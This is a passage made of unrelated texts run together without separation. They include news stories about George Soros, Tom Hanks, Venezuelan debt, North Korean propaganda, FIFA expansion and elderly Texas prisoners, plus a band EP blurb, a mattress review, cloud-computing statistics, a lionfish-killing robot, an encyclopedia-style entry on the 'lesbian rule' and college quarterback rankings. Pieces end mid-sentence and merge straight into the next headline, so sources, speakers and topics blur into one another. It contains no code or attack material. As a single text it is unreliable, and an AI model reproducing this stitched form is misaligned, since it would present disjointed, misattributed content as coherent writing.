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would suggest they threaten to withdraw from Germany. When German voters see that, they might be more offended by their government’s policy than by what’s said on social media.
Source: WashingtonExaminer. We have added section headings, information, and/or comments for clarity.Indie rock outfit HUNNY are streaming debut EP Pain/Ache/Loving on Best Fit ahead of its release on B3SCI.
Based in L.A. the six-piece fuse dour post-punk motifs with glimmering neon-lit indie-pop. It's swaggering, dark, and infectious - they can't help but fire off massive hooks left, right, and centre during the EP's five tracks. The shimmering fire of "La Belle Femme" is particularly impressive, lurking in the grey zone between The 1975 and SoCal sun.
Led by Jason Yarger, who expanded the project from a solo venture, HUNNY cite Prince, The Cure, and '80s post-punk as influences. Speaking about the EP, they say, succinctly: "We've been sitting on these for a while and it's about damn time. Hi mom."
HUNNY are supporting The Neighbourhood and Bad Suns across North America at the moment.
Pain/Ache/Loving is out tomorrow (9 October) via B3SCI.
Stream the EP below.George Soros thinks President-elect Donald Trump will fail — and that will be just fine with the billionaire investor and supporter of progressive causes.
"I personally am convinced that he is going to fail," Soros told Bloomberg during an interview at the World Economic Forum in Davos, Switzerland. Failure will come "not because of people like me who would like him to fail, but because his ideas that guide him are inherently self-contradictory and the contradictions are already embodied by his advisors."
Soros spoke less than 24 hours before Trump, himself a billionaire businessman and political agitator, takes the oath of office as the 45th president. Trump's Cabinet picks have been undergoing a sometimes-grueling round of confirmation hearings on Capitol Hill, though it's not clear if any will be rejected.
During the 2016 campaign, Soros donated close to $20 million to various causes, including more than $10.5 million to Trump's opponent, Democrat Hillary Clinton, according to the Center for Responsive Politics.
He has been unrelenting in his criticism of Trump, and unloaded on him again during the Davos interview.Women attracted to men in red
Updated
Men wanting to catch the eye of women should dress in red, a colour which new research shows makes them more alluring to the opposite sex.
Women in the United States, England, Germany and China said they found men pictured wearing red, or framed in red, more sexually attractive than in other colours, the research published in the Journal of Experimental Psychology showed.
Andrew Elliot, an author of the study from the University of Rochester, said red was thought to be a sexy colour for women only.
"Our findings suggest that the link between red and sex also applies to men," Dr Elliot said.
"For women, the colour made a big difference."
Despite cultural differences related to the colour, the findings of women being attracted to men in red were consistent throughout the countries.
The research consisted of seven experiments, some split into two parts, each with a group of between 20 and 57 people aged 19 to 22 years old.
Women participated in all the experiments, while men were included as a control group in one.
Women also associated red with higher status, a trend Dr Elliot said is analogous with other primates.
"In chimpanzees, the highest-ranking male turns more red quite dramatically during a competition for primacy," he explained.
"It's a clear status indicator. Females view that, and they go out of their way to mate with the highest-ranking male available."
The researchers suggested that for men wearing the colour may trigger a change in behaviour and that something as simple as wearing a red tie could give a more confident business presentation.
- Reuters
Topics: men, community-and-society, sexuality, women, science-and-technology, psychology, united-kingdom
First postedVenezuela just made a full payment on a $1.5 billion bond, but the country is hardly out of the debt woods yet. Experts say the country, plagued by hyperinflation and a shortage of basic goods, will almost definitely default — the question is how, and when.
Venezuela's central bank said earlier this month that the country's economy shrank 5.7 percent, and the official rate of inflation came in at 180.9 percent in 2015. That spells trouble for the country, which has a $10 billion total debt burden for the year.
Still, the country has been able to maintain its obligations by draining its foreign currency and gold reserves — even as its citizens struggle in a deep recession. That's despite suggestions from some quarters last year that the country could default in 2015.
In a Spanish-language statement on its website, the Venezuelan finance ministry said its debt payment on Friday was proof of "willingness and capacity to honor its financial commitments in a timely manner," but the boast of an "impeccable" payment record doesn't address a more interesting question: Why is Venezuela willing to go so much further to pay its debts than many other struggling countries are?Tom Hanks hit out at President Trump in a speech after being honored by the National Archives Foundation on Saturday night.
The Academy Award-winning actor knocked the president's response to the controversy over the comments he allegedly made to a Gold Star Widow last week - calling it 'one of the biggest c**k-ups on the planet Earth.'
'I'm only knowing what I read in the newspapers and what have you, and it just seems like one of the biggest c**k-ups on planet earth, if you ask me,' Hanks said to CNN.
Tom Hanks hit out at President Trump in a speech after being honored by the National Archives Foundation on Saturday night. He is pictured on the stage at the foundation after receiving his award on Saturday
The Academy Award-winning actor knocked the president's response to the controversy over the comments he allegedly made to a Gold Star Widow last week - calling it 'one of the biggest c**k-ups on the planet Earth'
'This is a tragedy of the utmost consequence and it goes much longer beyond who's going to come out on top of the new story.
'I think it's very sad.'
The comments came after Trump allegedly told Gold Star Widow of La David Johnson that her husband 'knew what he signed up for.'
Johnson was killed in battle during a presumed ISIS attack earlier this month in Niger.
The president has been in a war of words with Florida Congresswoman Frederica Wilson over the call, after Wilson said in an interview that Trump's comments were dismissive.
Wilson is a family friend of the Johnsons, and was in a limousine with the Gold Star widow and her family on the way to the airport to pick up the soldier's body when Trump made the call.
Johnson confirmed Wilson's version of events on Monday, speaking on Good Morning America.
'Whatever Ms Wilson said was not fabricated. What she said was 100 per cent correct,' Johnson said. 'The phone was on speakerphone. Why would we fabricate something like that?'
Johnson said her aunt, her uncle, a master sergeant and Wilson were with her in the car when Trump called the master sergeant.
The call came as they pulled onto the tarmac at Dover Dover Air Force Base to pick up Sgt. Johnson's body, his widow said.
The president has been in a war of words with Florida Congresswoman Frederica Wilson, pictured, over the call, after Wilson said in an interview that Trump's comments were dismissive
Johnson confirmed Wilson's version of events on Monday, speaking on Good Morning America
Johnson was so stunned by the call, she claimed, that she didn't respond to the president. She is pictured kissing her husband's casket at a burial service for him on Saturday
As soon as the interview was over Trump pounced on Twitter. 'I had a very respectful conversation with the widow of Army Specialist Sgt. La David Johnson, and spoke his name from beginning, without hesitation!' he tweeted after the interview ended
Johnson said she asked the master sergeant to put the phone on speakerphone so that everyone in the car could hear Trump.
'The president said "He knew what he signed up for, but it hurts anyway,"' Johnson recalled.
'It made me cry because I was very angry at the tone of his voice and how he said it.
'He couldn't remember my husband's name. The only way he remembered my husband's name was because he told me he had my husband's report in front of him, and that's when he actually said "La David".
'I heard him stumbling on trying to remember my husband's name and that's what hurt me most. Because if my husband is out here fighting for our country and he risks his life for our country, why can't you remember his name? And that's what made me upset and cry more,' she added.
Johnson was so stunned by the call, she claimed, that she didn't respond to the president.
She says she left the call feeling even worse than before.
As soon as the interview was over Trump pounced on Twitter.
'I had a very respectful conversation with the widow of Army Specialist Sgt. La David Johnson, and spoke his name from beginning, without hesitation!' he tweeted after the interview ended.
Tom Hanks made the comments on Saturday night after receiving the Records of Achievement Award at the annual National Archives Foundation gala in Washington. Hanks is pictured with Ken Burns Saturday night
'No actor has covered the span of the 20th-century American history as broadly as honoree Tom Hanks,' David Ferriero said in a statement provided by the foundation. Hanks is pictured with Ken Burns Saturday night
Hanks made the comments on Saturday night after receiving the Records of Achievement Award at the annual National Archives Foundation gala in Washington.
The award is said to be the highest honor given by the foundation to an 'individual whose work has fostered a broader national awareness of the history and identity of the United States through the use of original National Archives records.'
'No actor has covered the span of the 20th-century American history as broadly as honoree Tom Hanks,' David Ferriero said in a statement provided by the foundation.
In his acceptance speech Hanks spoke about the importance of 'dialogue' and 'ongoing reexaminations about what is taught about [America's founding.]' He was speaking specifically about Confederate monuments and statues of people like Christopher Columbus.I was very scared to order a spring mattress online and I thought how on earth can it come in a box? I contacted the seller to ask how soft the mattress would be and they were very responsive. The mattress is pretty soft in my opinion but this is coming from someone who likes very firm mattresses. I ordered his for my daughter and she wanted a soft and springy mattress. She did not want a memory foam mattress and trying to find a spring mattress that comes in a box at that price was not easy. I did a lot of research. This is perfect for her. She loves it. I tried it and thought it was very comfortable. Nice support but not too hard. The quality is really good for the price. The fabric is nice and soft and it doesn't feel plasticky at all. It looks and feels like an expensive mattress. The stitching is great and the details are nice. I am very picky with everything and I have to say I was very surprised at the quality of this mattress. I ordered the king size 8" and it fits on the box spring perfectly, no gaps. All in all I have to say it is definitely above expectations.Microsoft is looking to unify manufacturers around using Windows to power mixed reality headsets, with a plan to support HMDs featuring a wide range of specifications.
Next year, Microsoft plans to support headsets from manufacturers like Acer, ASUS, Dell, HP and Lenovo starting at just $300, and by the end of the year the tech giant plans for “the base minimum hardware requirements for holiday 2017 systems” to start with an “Integrated Intel® HD Graphics 620 (GT2) equivalent or greater DX12 API Capable GPU.”
Both these marks should dramatically lower the cost to bring a VR headset into your home that still offers full freedom of movement in any direction. The Rift starts at $600 while the roomscale Vive starts at $800, each of which require a PC with relatively expensive graphics cards to work right.
Microsoft at its Windows Hardware Engineering Community event (WinHEC) in Shenzhen, China, also announced a partnership with Chinese VR headset maker 3Glasses. The company plans to offer a headset in the first half of 2017 compatible with Windows 10 at the higher end of a range of specifications Microsoft will support. The specifications for the 3Glasses’ S1 headset are listed at 2880×1440 with a refresh rate of up to 120 Hz. The Rift and Vive operate at 2160 x 1200 and 90 Hz.
“We want a wide range of price points, wide range of specs, wide range of input, single developer platform, single developer surface area so the experiences work across the entire set,” said Alex Kipman, technical fellow of new device categories at Microsoft, in an interview with UploadVR. “You must at least be able to track in 6 degrees of freedom. That means to me 6 DoF tracking is the minimum requirement. After that it’s all about giving opportunity for partners and choice for customers. That’s inclusive of FOV, refresh rate, resolution and we abstract all that to developers. That is true from an input perspective from 3 DoF to 6 DoF to everywhere between.”
According to Kipman, Microsoft is looking to do with its operating system what Oculus and Steam might not be able to from their place as applications.
“This is the power and benefit of being an operating system. If you’re just an application, and at the end of the day that’s all Oculus or Valve or those things are, you’re an application running in the context of an operating system, you can’t reconcile the input stack,” Kipman said. “On the other hand, if you’re the people as an operating system, that intercept all of those calls, you can come up (and we have) with a homogenized API surface area that to a developer is just more events driven. You just understand the action that was taken, you don’t necessarily understand where it came from.”
The idea is that Microsoft will provide “a consistent interface with a single store for customers,” according to a blog post by Terry Myerson, executive vice president of the Windows and Devices Group at Microsoft. Meanwhile, developers will target a single input stack that would allow their apps to support a wide range of methods Microsoft intends to support for interacting with mixed reality, including controllers that can only move in a few directions, controllers that can move in any direction, gamepads like the Xbox controller, keyboard, mouse and eventually “gaze, gesture and voice” input.
When asked whether the Rift and Vive would be able to access apps purchased from the Microsoft store, Kipman said “it’s up to them.”
“Bifurcating platforms and bifurcating experiences doesn’t help developers and it doesn’t help customers with choice,” Kipman said. “The invitation remains open for any headset that is capable of doing 6 DoF, inclusive of HTC and Oculus, but they have to take me up on my invitation.”
Microsoft said it plans to offer HMD developer kits at the Game Developers Conference in San Francisco next year. You can sign up to show your interest at http://aka.ms/IWantMR. Kipman declined to say whether the kits would be free or cost money.
Tagged with: 3Glasses, windowsGWANGJU, South Korea — North Korea has published an online "warning" video pointedly aimed at US President Barack Obama and the West on the nation's Uriminzokkiri news network — oh, and it's set to the music from the Elder Scrolls Oblivion video game series.
The new video, released on the heels of North Korea's unpopular February nuclear test, features Photoshopped flames flickering over images of US soldiers, Obama and what appears to be a 3D rendering of a nuclear warhead.
Subtle, it is not:
Read more from GlobalPost: What to make of North Korea's war threats
GlobalPost's senior correspondent in South Korea, Geoffrey Cain, says North Korean state mouthpieces have always put out wacky propaganda. In a cartoon from the 1960s, a bunch of North Korean kids launch and then ride on top of a missile that strikes an American navy ship, for example.
But this sort of shaming particular leaders — in this case, Obama, who's covered in flames — is a trend for the past year under Kim Jong Un, who's trying to prove his strength.
It all began in April, when the mouthpieces put out messages calling South Korean President Lee Myung-bak a "rat."
BR Myers, a literary scholar who studies North Korean propaganda, told GlobalPost last week that this is the most militant rhetoric he's seen in his 20 years following the hermit kingdom.
North Korea News.org provided a handy transcript of the video's text, which is decidedly belligerent.
"Words spoken by the United States, a country that uses the law of jungle as the law of survival for fitness, is meaningless," the transcript reads in part.
"As a result, North Korea’s high level nuclear test conducted against American imperialist invaders is a nuclear deterrent that protects our sovereignty."
Then there's the soundtrack of the video, from a US action role-playing video game series called Elder Scroll Oblivion, which points to how popular video games are in North Korea. There are even ones that let you beat up South Korean presidential candidates.
In short, Cain reports, violence is a key part of these political messages.
But politics is an intricate game. We can't help but be reminded of another recent — and decidedly positive — reference to the president's being ablaze, when singer Alicia Keys tailored the lyrics of her hit, "Girl on Fire" for Obama's inaugural ball.
"He's the president, and he's on fire. Hotter than a fantasy," Keys belted admiringly.
So, North Korea — it appears the metaphor cuts both ways?
Geoffrey Cain contributed to this report from Gwangju, where he is on assignment.CARSON, Calif. – FIFA's decision to expand the World Cup from 32 to 48 teams for the 2026 edition has been met with skepticism among many, and members of the US national team have some doubts, too.
“I think that's a little strange that they did that. I think it dilutes the product a little bit, no?” midfielder Alejandro Bedoya told MLSsoccer.com during the USMNT's January camp at StubHub Center.
“But I mean it is the World Cup, it is the biggest sporting event in the world and I don't think that's going to change the viewership. If you want to be real, it comes down to money, right? At the end of the day, more countries involved, more countries in, I think it helps FIFA with the revenue there.”
The bigger tournament is advertised as a more inclusive one, and is projected to reap a hefty financial windfall.
“Maybe for those other smaller countries that maybe didn't really have chances of going to the World Cup and they finally are in a World Cup, I think those people are really excited about this,” Bedoya added. “It maybe dilutes the competition … Even with the Euros expanding [in 2016], you could see a little bit [of that] in some of the games. But then you see teams like Iceland, teams like that that have these Cinderella stories in there, things like that.”
It also stands to transform the qualification experience for the United States.
Though they currently sit in an 0-2 hole in the 2018 edition of the Hexagonal, the final round of CONCACAF's qualifying, the US have made World Cup appearances a habit over the past quarter-century. After missing out for decades up until 1990, the Yanks have learned to navigate their region's pitfalls, building a streak of six consecutive successful qualification campaigns. Those who've experienced the rewards of that long, winding road to the big dance don't wish to see it cheapened.
“I like the way it is now with fighting for that position, earning your spot at the World Cup, earning your spot in the qualifications,” US goalkeeper Nick Rimando said. “When you make it, you feel like you did something, you didn't just take the easy route in.”
FIFA has yet to decide how World Cup berths will be distributed among its six member confederations under the expanded format. But several reports have suggested that CONCACAF and CONMEBOL, the South American confederation, could merge their qualifying processes for the 2026 tournament, which would see all of the Americas battling for as many as 14 spots in the big event.
That ambitious idea would match up the US against daunting, far-flung opposition like Brazil and Argentina in addition to their usual regional rivals, adding new challenges and destinations to a process that might otherwise become a formality.
“That would be something else – that would be pretty cool,” said Bedoya, a South Florida native of Colombian descent who joined the Philadelphia Union last summer. “CONMEBOL, for me, is the toughest federation to qualify through. For us I think it would be pretty cool to travel to Colombia or Argentina and see what the real culture is like there, and play in front of those atmospheres. Because I can tell you just from watching on TV and growing up watching the Argentinian league, the atmosphere there is incredible.”
Added Rimando: “Those teams have proven themselves over the years and combining CONCACAF's with theirs would definitely be a tough road. But again, it's something that I don't put past us, because we have the players, I think, in the States to become a really good team … If that time comes, we'll give it everything we have.”
Meanwhile, coach Bruce Arena – who was hired in place of Jurgen Klinsmann for the specific purpose of salvaging the campaign for Russia 2018 – offered an acerbic reality check when asked about the topic.
“No, that's 2026, I'll be watching that in my rocking chair,” cracked the 65-year-old. “So I'm not real worried about that at this point.”In an open letter to the public in late July, several retired Border Patrol agents wrote on behalf of the National Association of Former Border Patrol Officers to warn that Mexican drug cartels are actively operating inside the United States spending millions every year to try to build their networks here. They argued that American politicians are protecting their activities as well.
“Transnational criminal enterprises have annually invested millions of dollars to create and staff international drug and human smuggling networks inside the United States; thus it is no surprise that they continue to accelerate their efforts to get trusted representatives in place as a means to guarantee continued success,” the Border Patrol agents wrote.
“We must never lose sight of the fact that the United States is the market place for the bulk of transnational criminal businesses engaged in human trafficking and the smuggling, distribution and sale of illegal drugs. Organized crime on this scale we are speaking about cannot exist without political protection.”
Gene Wood, a retired Border Patrol agent who once ran the agency’s San Diego station; William Glenn, a retired Border Patrol southwest region Chief Intelligence Agent; and Claude Guyant, another retired Border Patrol agent who served in leadership positions throughout the agency in his time there, all signed the letter.
“Most heroin, cocaine, meth, and marijuana marketed in the United States is produced outside of our country, and then smuggled into the United States,” they wrote. “The placement of trusted foreign employees inside the United States is imperative to insure success in continuing to supply the demand, and returning the profits to the foreign organization. Members of these vicious transnational crime syndicates are already well established in more than 2,000 American cities and their numbers are increasing as networks expand and demands accelerate. These transnational criminals present a real and present danger to all Americans, and they live among us.”
As Breitbart News’ Brandon Darby reported on Wednesday, cartels are recruiting American teens, prison gang members and military members to become assassins for their organizations.
After they have been recruited and become part of these transnational criminal organizations, according to the former Border Patrol agents, those teens “are absolutely controlled and totally committed members of foreign drug cartels who have demonstrated an ability and willingness to follow the business model of criminal enterprise which is simply to supply the demand for illegal drugs and aliens in the United States and return the profits to their handlers abroad, at any cost.”
“Sanctuary cities established throughout the United States discourage even the most basic law enforcement initiatives within their boundaries against these predatory criminals,” they wrote. “Encouraged by Congress and a disinterested mainstream news media, these havens deny the American public their constitutional right to national security and public safety while providing relative safety for dangerous foreign criminals.”
The retired Border Patrol agents called on Congress to abandon efforts to grant amnesty to illegal aliens because passing an amnesty would be akin to abetting the drug cartels.
“Congress must abandon their focus on rewarding illegal behavior for millions of persons by the grant of amnesty in favor of protecting American citizens who suffer daily at the hands of these seasoned criminals,” they wrote. “To do otherwise makes a mockery of our laws, and encourages countless millions more from around the globe to do the same. Transnational organized crime nationwide has flourished under these conditions.”The following is the prepared text of Liberal Leader Justin Trudeau’s remarks on Parliament Hill this evening.
I am deeply saddened by today’s horrific events here in Ottawa, and unreservedly condemn these brutal and heartless acts of violence.
This attack is unforgivable. Should any other perpetrators or co-conspirators exist, they must be caught and be punished to the full force of our laws. I’ve extended an offer of full support to the government, along with any assistance members of our party can provide at this time.
My thoughts and prayers, along with those of my colleagues, go out to the family and friends of the victims of today’s horrific shooting, including Cpl. Nathan Frank Cirillo, who was standing dutifully, guarding one of our nation’s most sacred monuments.
Words cannot express the deep sadness we feel today over his loss.
To the brave women and men who rushed to the scene to confront the shooter, and help keep us safe, I can say only thank you. Thank you for your selfless courage and your professionalism in a time of crisis.
In the days that follow, there will be questions, anger and perhaps confusion. This is natural, but we cannot let it get the better of us. Losing ourselves to fear and speculation is the intention of those who commit these heinous acts.
They mean to shake us. We will remain resolved.
They want us to forget ourselves. Instead, we should remember.
We should remember who we are. We are a proud democracy, a welcoming and peaceful nation, and a country of open arms and open hearts. We are a nation of fairness, justice and the rule of law.
We will not be intimidated into changing that.
If anything, these are the values and principles to which we must hold on even tighter. Our dedication to democracy and the institutions we have built is the foundation of our society. And a continued belief in both will guide us correctly into the future. Staying true to our values in a time of crisis will make us an example to the world.
Criminals cannot and will not dictate to us how we act as a nation, how we govern ourselves or how we treat each other. They cannot and will not dictate our values. And they do not get to decide how we use our shared public spaces.
Today we heard about a loss of innocence in Canada. This is inaccurate. Canada is not innocent to the threats we face, and we know that we are not immune. What is true is that we have not let those threats shape us, and we have never bowed to those who mean to undermine our values and way of life.
We have remained Canadians. And this should be how we will carry on.
We deserve answers to how and why this happen. They will be vital in preventing any potential future attack.
To our friends and fellow citizens in the Muslim community, Canadians know acts such as these committed in the name of Islam are an aberration of your faith. Continued mutual cooperation and respect will help prevent the influence of distorted ideological propaganda posing as religion. We will walk forward together, not apart.
In the coming days, we will be inundated with pictures and videos showing what happened today. But there is one in particular we should remember: the picture in our minds we have of a Canadian guarding Canadians. That is who we truly are. That is who we will continue to be.MONTREAL – LA Galaxy II have some company.
The Montreal Impact became the second MLS club to create its own USL PRO team, club president Joey Saputo announced on Thursday. The new team, called FC Montréal, is set to start playing in the 2015 season against LA’s sister team and other affiliates such as Richmond Kickers (D.C. United) and Rochester Rhinos (New England Revolution).
This USL PRO team, which has no head coach yet, is part of a broader orientation to better nurture Québécois talent. FC Montréal, Saputo said, will be mostly made up of young, local players from the Impact’s U18 and U23 teams.
“Our U16 and U18 teams have had exceptional seasons,” Saputo told reporters. “In its first year, our pre-academy is making great progress. We’ll carry on along those lines, and we must provide a better framework for our youngsters so their transition to MLS is easier and more natural.
“We want our club to be the leader of Québec soccer throughout the world.”
FC Montréal won’t have a permanent home in 2015. Their home schedule will be split between Stade Saputo and the nearby training field. The long-term plan is to play at Centre Claude-Robillard, the Impact first team’s current training facility. The games will be open to the public free of charge.
In conjunction with all of this, the first team is also pursuing a proposed new training facility (rendering above).
“This is a major change in the structure of soccer in Québec, since we will now have two professional teams that our young players can aspire to,” Saputo said. “Also, since MLS will no longer have a Reserve League next year, FC Montréal will give us more flexibility when it comes to the development and the movement of players.”
Check out more Montreal news at ImpactMontreal.com
Saputo believes that keeping all of the club’s players in Montreal is the best way to provide them with the ideal environment to develop. FC Montréal will be, he said, an avenue for players that are “kind of in between the amateur … and professional ranks.”
The Impact currently have two young players out on loan: Blake Smith is at NASL side Indy Eleven, while Santiago Gonzalez has returned to his home country of Uruguay, at Danubio. A third, Zakaria Messoudi, spent the first half of the season at another NASL team, Ottawa Fury.
“We don’t want to send five players to an affiliated team, we want the players to be here,” Saputo said. “We want the players to play within our structure. We want our coaches to have a better eye on the players. And the best way for us to do it was an investment, and the investment was the USL PRO team.”A recent study suggests that private and hybrid cloud computing is on the rise. Most companies are adopting multi-cloud strategies than in previous years.
1) 82% of enterprises have a multi-cloud strategy (up 9% since 2014), 10% use a single public cloud and 5% use a single private cloud. Of the multi-cloud strategies, 14% of enterprises use multiple private clouds, 13% use multiple public clouds, and 55% use hybrid clouds. —Rightscale.com
2) “In looking at the primary preferred execution venue for the next two years across a range of enterprise workload categories, 56% of workloads will be in private or hybrid cloud environments for the next two years.” —451 Research’s Customer Insight, “Voice of the Enterprise Overview”
3) “There is continued migration of enterprise vendors in mature markets like the U.S. to hybrid and private cloud platforms to provide software vendors an opportunity to generate adoption for management technologies, such as customers require next-generation tools to manage heterogeneous IT infrastructures efficiently.” —Technology Business Research [TBR], “Cloud Components Benchmark Q3 2014”
Check out the infographic below from mashable that breaking down some of the differences between the public, private and hybrid cloud and their uses for various workloads.Sports anime fans know Captain Tsubasa as the classic sports manga from 1981, and as the 1983 anime about a boy named Tsubasa and his journey to become a world-famous soccer player. Who would have thought that 36 years after the first chapter was released, it would help influence children from war-torn countries?
BBC reported that Captain Tsubasa is being translated into Arabic and distributed to refugee camps all across the globe. Obada Kassoumah, a Syrian student currently residing in Tokyo, is helping translate the classic into his native language. The translated version, with permission from the publishing company, is distributed to children who have escaped the war. By allowing the children to read the manga, they are given a distraction from the harsh conditions they are facing in reality.
When Obada first started the project, he had nothing else on his mind than the income it provided. But when Prof. Masanori Naito, a Middle East Specialist from Doshisha University Kyoto, visited Shueisha Publishing and suggested donating the translated manga, the project soon turned into a personal mission for Obada. Of course, Shueisha readily agreed and they worked together with international NGOs and Unicef to bring the books to refugee camps across Europe, Turkey, and the Middle East.
According to Prof. Naito, the manga is providing an escape to the children, inspiring them to pursue their dreams and keep moving forward no matter what happens. Obada, who is still working on his degree in Tokyo, says that he will continue to help translate the manga for his fellow Syrians. He believes that by doing this, he can help bring a smile to their faces and help them forget the war at least for a while.Why are invasive species dangerous to the environment?
Invasive lionfish have devastating effects on native species and ecosystems in the Atlantic Ocean and Caribbean Sea, but killer-robot technology offers a new way to rebuild balance.
Originally native to the Pacific and Indian Oceans, experts believe exotic pet owners released lionfish into public waters around Florida beaches in the 1980s. Without any natural predators, the lionfish population grew rapidly with dire environmental results. Their insatiable appetites decimate fish integral to maintaining reef health in the region.
Curbing the species’ growth has become a focus in places like Bermuda.
A company called Robots in Service of the Environment, or RISE, recruited a team of researchers and engineers to design a robot to kill lionfish without harming other fish nearby. It’s called “electro-fishing technique,” according to RISE’s Geoffrey Gardner.
“If you put the lionfish between two electrodes and apply an electric current, that current kills the lionfish or stuns the lionfish,” Gardner said.
While this may offer hope for the species at risk due to lionfish, the strategy is controversial because it involves killing living creatures.
James Morris of the National Oceanic and Atmospheric Administration argues that killing lionfish is necessary and the focus should be on the dangers of introducing new animals to different environments.
“If we’re looking for an ethical question, it’s the one behind introducing non-native species and the impacts that it has on the region and the biodiversity of these very important places,” he said.In November of this year many Massachusetts voters will get the opportunity to vote on issues linked to the legalization of marijuana and medical marijuana. Voters in 73 towns and cities, equating to around 12% of the Massachusetts population, will have the opportunity to express their opinions, courtesy of the Medical Marijuana Reform Groups listed below, which are behind this public policy question (PPQ). State citizens are able to petition to include PPQs on the ballot papers; although votes are non-binding, they are seen by the legislature as a guide to voter opinion on specific issues.
In fact, this year is no different from the previous 10 years – marijuana activists began using PPQs back in 2000 in an attempt to get medical marijuana at least legalized in Massachusetts – and their rate of success is admirable, with 41 PPQs being passed with an average of 64.5% of the vote. Previous PPQs have concentrated on:
Medical marijuana
Marijuana decriminilization
Hemp
Legalization or tax and regulate
It was these PPQs which paved the way for the marijuana decriminalisation initiative of 2008 and organizers are hopeful that they can build on their previous successes and work towards legalization of marijuana and medical marijuana.
Spokesman for MassCann/NORML, Bill Downing, said, “We have a bunch of PPQs this year. There are a set of medical marijuana ones and a set of legalization ones. We’re using the medical ones strategically to target individuals who have sway, and for the legalization ones, we used the results of the 2008 decriminalization vote to target communities with high decrim vote levels.”
Voters in nine of the districts will vote on whether state representatives should be instructed to vote for marijuana legalization, while, in another nine districts, voters will be asked to urge state representatives to vote in favor of medical marijuana legislation.A flexible strip of lead that could be bent to the curves of a molding, and used to measure or reproduce irregular curves
A lesbian rule was historically a flexible mason's rule made of lead that could be bent to the curves of a molding, and used to measure or reproduce irregular curves.[1][2][3] Lesbian rules were originally constructed of a pliable kind of lead found on the island of Lesbos.[4]
The rule is alluded to by Aristotle in his Nicomachean Ethics (bk V, ch. 10) as a metaphor for the importance of flexibility in equitable justice: "For what is itself indefinite can only be measured by an indefinite standard, like the leaden rule used by Lesbian builders; just as that rule is not rigid but can be bent to the shape of the stone, so a special ordinance is made to fit the circumstances of the case."[5]
In the early modern period the term was often used figuratively (as Aristotle had used it) to mean a pliant, flexible and accommodating principle of judgment.[1] In his famous letter to the Louvain theologian Martin Dorp, Thomas More referenced it when reproving Dorp for his attack on Erasmus'
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3:00 p.m. (CBS)
9) West Virginia QB Will Grier (Last week: 10)
Result: 20-16 win over Iowa St.
Stats: 20/25, 316 yards, 2 TDs, 1 INT
Analysis: I mentioned Ferguson as someone who is flying under the radar — Grier is right there with him. I have really only paid some attention to him because a good friend of mine goes to West Virginia and raves about him, but he deserves the attention. The numbers speak for themselves — 3,068 yards, 30 TDs and 10 INTs in nine games.
He is in a very similar situation to Rudolph — he has the tools and the ability to be a good quarterback in the NFL, but he needs to be able to sit and learn an NFL offense coming out of that West Virginia system.
Next matchup: 11/11 @ Kansas St. at 3:30 p.m. (ESPN 2)
10) Wyoming QB Josh Allen (Last week: 8)
Result: 16-13 win against Colorado St.
Stats: 10/20, 138 yards, 0 TDs, 0 INTs; 12 carries, 60 yards
Analysis: Just a heads up — no matter how poorly he performs, Allen will never fall off this list. He may just camp out at No. 10, but he will not fall off because I know he is going to end up in the conversation as a first round pick come draft season. I want to make sure you all know how he performs each week.
This past week as not a good one. The silver lining? Wyoming got its sixth win and punched a ticket to a bowl game, which means an extra opportunity to watch him.
This week also presents a good opportunity to watch him against a good Air Force team on a major network.
Next matchup: 11/11 @ Air Force at 10:15 p.m. (ESPNU)
In the hunt: Ryan Finley (NC State), Clayton Thorson (Northwestern), Kurt Benkert (Virginia)
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Photo Credit: NewYorkJets.comTexas prisons are filling up with the old and the ill — at enormous expense.
Benito Alonzo is a short, 140-pound 80-year-old. His quiet-spoken manner, drooping jowls and gray hair, trimmed in a buzz, give him the appearance of a benevolent grandfather, and indeed, he is a grandfather. In thick-framed black eyeglasses, he bears a resemblance to the defanged and aging Henry Kissinger. But Alonzo is neither a celebrity nor a statesman. He’s a convict who has lately grown infirm.
He says he’s been diagnosed with prostate cancer and he’s afflicted with Hepatitis C. For several years he’s been prescribed a drug called Lactulose, which Dr. Owen Murray, chief of medical affairs for the Texas penal system, says “we use for people whose livers are at the end of their lives.” In November, the University of Texas Medical Branch in Galveston told Alonzo’s son in a letter that during a recent medical examination, it also found “evidence of cirrhosis,” an often-fatal ailment.
I talked to Alonzo in December in the waiting room of the Polunsky Unit, near Livingston. That was not the way I wanted to see him: I had wanted to visit his cell, his pod, to observe how he passes his time — to see how he lives. But the Texas Department of Criminal Justice (TDCJ) doesn’t allow reporters beyond its visiting rooms, and it forbids taking pictures inside the prisons. For a year I corresponded with Alonzo and a dozen other elderly inmates, querying them about their circumstances. Mail was the only connection we had. When I asked Alonzo, in Spanish, if he thought prison authorities could monitor our conversation in that language, he chuckled and said, “And in Japanese, Arabic or Russian.” We conducted the rest of our chat in English.
Alonzo has been waiting since at least March for the start of a 12-week course of a new liver drug that might keep him alive for years to come. He’s been told that the treatment will cost $94,500. Were he back on the streets, Medicare would pick up the tab. But because federal courts have ruled that states must guarantee the safety and health of their inmates, Texas will have to pay. Alonzo frets that because of the expense, prison bureaucrats will stall the treatment until it’s too late.
The state of Texas operates 109 prisons holding about 148,000 inmates. Some 27,000 of them are, like Alonzo, over the age of 50. They account for about 18 percent of the prison population, and are the fastest-growing demographic group among prisoners. By most estimates, they are also the most expensive to keep under lock and key. According to TDCJ spokesman Robert Hurst, the average cost of housing Texas inmates is about $20,000 a year, but medical and end-of-life expenses hike that figure to some $30,000 for elderly inmates. In other jurisdictions, the cost is even higher. A 2012 report from the ACLU calculates the average national expense for keeping a prisoner at $34,000 per year — and twice that much, $68,000, for inmates older than 50.
Both demographic factors and get-tough sentencing have transformed what were once mere penal institutions into hospitals, assisted living centers and nursing homes, too. The University of Texas Medical Branch operates a freestanding hospital in Galveston for TDCJ, which also contracts with UTMB and the Texas Tech medical school to send prisoners to 146 community hospitals. Texas prisons now boast of “respiratory isolation rooms,” “brace and limb services” and hospice facilities in which 90 Texas inmates were eased into eternity last year. More than 300 inmates in Texas prisons use wheelchairs, Dr. Murray says.
Alonzo’s life has been one of alternating spans of heroin addiction and confinement. He served three separate stints in prison — for theft, burglary and heroin possession — from 1958 to 1974. After his parole in 1974, allegedly under the influence of two of his brothers, Pedro and Adolfo, he delivered a pair of pistols to a warden’s trustee who then smuggled them into Huntsville’s Walls Unit. San Antonio gangster Fred Carrasco used those guns in an 11-day hostage-taking and stand-off that culminated in a shootout. Alonzo is serving a life sentence for his connection to the incident.
